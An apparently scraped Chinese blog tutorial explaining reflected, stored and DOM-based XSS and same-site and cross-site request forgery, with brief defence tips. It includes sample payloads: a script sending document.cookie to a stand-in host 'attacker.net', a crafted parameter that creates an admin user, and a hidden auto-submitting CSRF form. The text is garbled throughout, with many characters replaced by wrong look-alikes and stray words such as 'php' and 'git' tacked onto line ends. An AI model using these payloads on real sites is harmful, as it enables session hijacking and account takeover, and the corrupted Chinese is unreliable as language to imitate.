差很少刚开始接触前端的时候,常常能看到一些早几年入行大牛们的简历,几乎全部人都会在简历中带上这么一句话:具有基本的 Web 安全知识(XSS / CSRF)。显然这已经成为前端人员的必备知识。javascript
很是怀念那个 SQL 注入尚未被广泛承认的年代,虽然这么多年过去了,SQL 注入并无消失,仍然是最危险的漏洞。关于 SQL 注入的原理,能够看我以前写的文章SQL 注入详解。今天是主题是 Web 安全的另外两大杀手,XSS 和 CSRF。php
XSS 漏洞有多种形式,分为三类,反射型、保存型和基于 DOM 的 XSS 攻击。这些漏洞的基本原理都是同样的,可是肯定和利用漏洞方面又存在很大的差别,下面将对这三种漏洞详细介绍。html
前面废话一大堆,仍是没有说 XSS 漏洞究竟是什么。若是一个 Web 程序能够动态的显示用户的错误消息,就有可能会产生反射型漏洞。前端
用户浏览网页时发送错误,向服务器请求 URL,好比www.xxx.com/error.php?message=sorry,an error occurred
,而后服务器根据获得的 message,不进行过滤,复制到错误页面的模板中:<p>sorry,an error occurred</p>
,返回给用户。java
这个漏洞有一个显著的特征,应用程序没有进行任何过滤或净化措施,就很是容易受到攻击。www.xxx.com/error.php?message=<script>alert(1)</script>
,当用户打开错误页面时,就会出现<p><script>alert(1)</script></p>
,弹出一个消息框。git
显然,攻击人员不会很傻的仅仅 alert 一些消息,在 IE 中,若是开启跨站点脚本检测可能没法弹出消息。一般 XSS 都会伴随着会话劫持,攻击者截获经过验证的用户的会话令牌。劫持用户的会话后,攻击者就能够访问该用户受权访问的全部数据和功能。算法
好比攻击者构造一个这样的 URL,message 信息以下数据库
var i = new Image; i.src="http://attacker.net/"+document.cookie;
这样被攻击者经过访问这个恶意的 URL,就会把 cookie 发送给黑客,黑客截获 cookie,就能执行用户的任意操纵。下图是一个简易的流程图:后端
这个图还有一个重要的点没有标明出来,就是前提是受害者要先登陆到 Bank.com 的网站上。浏览器
因为浏览器的同源策略,直接向 attacker.net 发送 document.cookie 是没法得到 www.xxx.com 的 cookie,由于浏览器会对不一样源(域)的内容进行隔离,这就是该漏洞被称为跨站脚本的缘由。
保存型跨站脚本也是比较常见的漏洞,脚本一般保存在后端数据库中,不通过滤就存储而且显示给用户,此时就会出现这种漏洞。
与反射型的流程不一样的是,保存型须要向服务器提出至少两次请求,第一次将含有恶意代码的数据提交给服务器,服务器将数据保存,第二次是受害者想服务器提出访问含有恶意代码数据的页面,恶意代码执行。
与反射型不一样的是,保存型不须要一个专门设计的 URL 来接收 cookie,只须要将含有恶意代码的页面发给用户,等待受害者访问便可。不过,也可用保存型的漏洞来获取用户 cookie 进行劫持。
还有一个不一样点,反射型的漏洞,必需要等受害者登录后,才能保证 cookie 的正常得到,而保存型的漏洞,受害者通常是先登陆,而后访问改站点有危险的页面。
举一个例子,好比某社交论坛存在保存型的 XSS 漏洞,黑客将本身的我的信息一栏修改为恶意的 JS 代码,改代码实现两个功能,首先受害者加本身为好友,其次修改受害者的我的信息为该恶意代码。黑客把我的信息保存并提交给服务器,只须要等受害者访问本身的我的信息页面,浏览器就会执行该恶意脚本,因而可怕的“蠕虫”就开始了。
前两种 XSS 漏洞,都表现一种特殊的模式,就是应用程序提取数据并返回给受害者,而基于 DOM 的 XSS 不具备这种特色,攻击者是借助于 JavaScript 来展开攻击的。
用户请求一个通过专门设计的 URL,由攻击者提交,包括嵌入式的 JavaScript;
服务器的响应不包含任何攻击者的脚本,同时服务器也不会对 URL 进行检测;
当用户浏览这个响应时,脚本得以处理。
与反射型漏洞相似,都是对 URL 进行特殊构造,不一样的是,反射型是由服务器处理 URL,而 DOM 型是由 JavaScript 脚原本处理。还以刚才那个反射型为例子,假设应用程序返回的错误页面包含如下 JS 脚本:
<script> // www.xxx.com/error.php?message=sorry,an error occurred var url = document.location; var message = /message=(.+)$/.exec(url)[1]; document.wirte(message); //或者 document.getElementById("show").innerHTML = message; </script>
一样给受害者发送这样的连接 www.xxx.com/error.php?message=<script>alert(1)</script>
,也能够开展 XSS 漏洞攻击。基于 DOM 的漏洞不局限与 URL,还能够是页面某个 DOM 的内容,这和存储型的 XSS 又联系到一块儿。
这个时候就须要些 JS 的同窗当心谨慎了,万一写出含有漏洞的代码,这锅得本身背。
在 XSS 跨站攻击中,攻击者须要得到受害者的会话令牌,请求伪造也与会话劫持相关,可是攻击者不须要知道受害者的会话令牌,就可以行驶“受害者”的权利。请求伪造有两种,本站点请求伪造(OSRF)和跨站点请求伪造(CSRF),
OSRF 是一种利用保存型 XSS 漏洞的攻击载荷,若是在得知应用程序对 XSS 漏洞过滤的状况下,能够尝试 OSRF 攻击。
好比这是一个某站点 POST 请求,该站点过滤 XSS 攻击,
POST /submit.php Host: xxx.com Content-Length: .. type=question&name=ge&message=mes
而后该信息将会被插入到以下的 HTML 中:
<tr> <td><img src="/images/question.jpg"></td> <td>ge</td> <td>mes</td> </tr>
这个漏洞很容易利用,直接用 type 的值来表示 jpg 的name,而后咱们构造 type 的值等于下面的内容(这不就是利用路径来搞事吗),
../admin/newuser.php?username=test&password=123&role=admin#
使用上面的介绍,相对应的构造一个表单提交,建立一个管理员权限的用户,普通用户点击是不会成功的,由于权限不够,可是若是是管理员点击该连接的话,就会建立一个秘密帐户,因此,即时对 URL 禁用了 JavaScript 脚本,仍是能够经过 OSRF 攻击成功。
在攻击字符串的最后使用了 # ,是为了对 .jpg 进行屏蔽,也能够添加 & 组成另外一个参数。
以上即是一个简单的本站点请求伪造的例子。
跨站点请求伪造才是跨站伪造的重点内容,攻击者只须要建立一个看似无害的网站,导致受害者的浏览器直接向易受攻击的服务器提交一个请求,执行恶意代码。
仍然须要考虑同源策略,仍然以管理员建立新用户为例,
POST /newUser.php HTTP/1.1 Host: xxx.com Cookie: SessionId=... Content-Length: .. name=ro&userrole=admin&password=123456&confirmpassword=123456
黑客构造的网站会提交一个 form 表单,并想办法让 form 隐藏:
<<!DOCTYPE html> <html><body> <form action="http://xxx.com/newUser.php" method="POST"> <input type="hidden" name="name" value="ro"> <input type="hidden" name="userrole" value="admin"> <input type="hidden" name="password" value="123456"> <input type="hidden" name="confirmpassword" value="123456"> </form> </body></html>
当管理员已经登录的状况下,访问这个恶意网站的时候,就会提交这段脚本,管理员都不知情。由于管理员已经登录,无需考虑 Cookie 的问题,一个简单的 CSRF 如此。
其实攻击很简单,主要的仍是如何防护,好比
对一些关键字和特殊字符进行过滤或 URL、HTML 编码,"<>?"或"script,javascript";
Cookie 防盗,在 Cookie 中防止放入用户名和密码,对 Cookie 信息进行 MD5 等算法进行屡次散列存放,必要时还要对 ip 和 cookie 进行绑定,一旦检测异常,立马让用户从新登陆;
严格控制 URL 访问,对于一些挂马的 ip 和域名,强制没法访问;
等等
共勉。
跨站脚本攻击介绍
那些年咱们一块儿学 XSS
总结 XSS 与 CSRF 两种跨站攻击
书籍:《黑客攻防技术宝典 Web实战篇》
欢迎来我博客交流。